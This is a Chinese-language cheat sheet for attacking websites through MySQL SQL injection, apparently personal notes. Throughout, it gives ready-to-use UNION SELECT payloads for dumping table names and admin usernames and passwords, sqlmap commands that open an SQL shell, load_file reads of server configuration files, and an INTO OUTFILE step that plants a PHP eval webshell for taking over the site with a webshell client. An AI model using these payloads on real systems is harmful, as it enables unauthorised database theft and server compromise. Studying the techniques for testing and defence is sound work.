mysql常用函数:
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()连接数据库的用户名
database()数据库名
version()mysql数据包版本
load_file() 转成16进制或者是MySQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_compile_os 操作系统
mysql5.0注入方法:
判断注入:
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
判断字段长度:
order by xx
order by 21正常 order by 22不正常,说明长度为21
and 1=2 union select 1,2,3,4,5,6,7,.... from information_schema tables
报基本信息:
database()数据库名
version()mysql数据包版本
user()用户名
@@version_compile_os 操作系统
union select 1,user(),3,4,5,6,7,....
获取表名:union select 1,group_concat(table_name),3,4,5,6,7,.... from information_schema tables where table_schema=[数据库名称的16进制]
常用管理员表名:admin\manage\user\admin_user\root\nember\...
获取列名:union select 1,group_concat(column_name),3,4,5,6,7,.... from information_schema columns where table_name=[表名称的16进制]
获取账户密码:union select 1,group_concat(username,0x5c,password),3,4,5,6,7,.... from [表名称]
mysql4.0注入方法:
利用sqlmap注入读取文件:
python.exe sqlmap\sqlmap.py -u "地址?id=xxx"
python.exe sqlmap\sqlmap.py -u "地址?id=xxx" --sql-shell
读取文件:
select load_file('网站某php文件路径');
找到数据库用户字段之后:
select user,pwd from admin;
读取函数load_file(),用来读取源文件的函数,只能读取绝对路径的网页文件,需要先找到文件的绝对路径。
\\和/是正确的,\是错误的。转换成16进制数不需要使用“。
查找网站根目录:
报错显示,谷歌黑客,site:目标网站 warning,遗留文件 phpinfo info test php ,漏洞爆路径,读取配置文件。
and 1=2 union select 1,load_file('c:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4,5,6,7,...
如果不知道文件路径,可以先尝试读取c:/window/system32/inetsrv/metabase.xml
通过一步步查看直到找到数据库配置文件。
写入函数into outfile:
and 1=2 union select 1,"<?php @eval($_POST['xxx']);?>",3,4,5,6,... into outfile "文件绝对路径"
可以写入一句话木马,再访问该木马文件,再用菜刀连接拿站。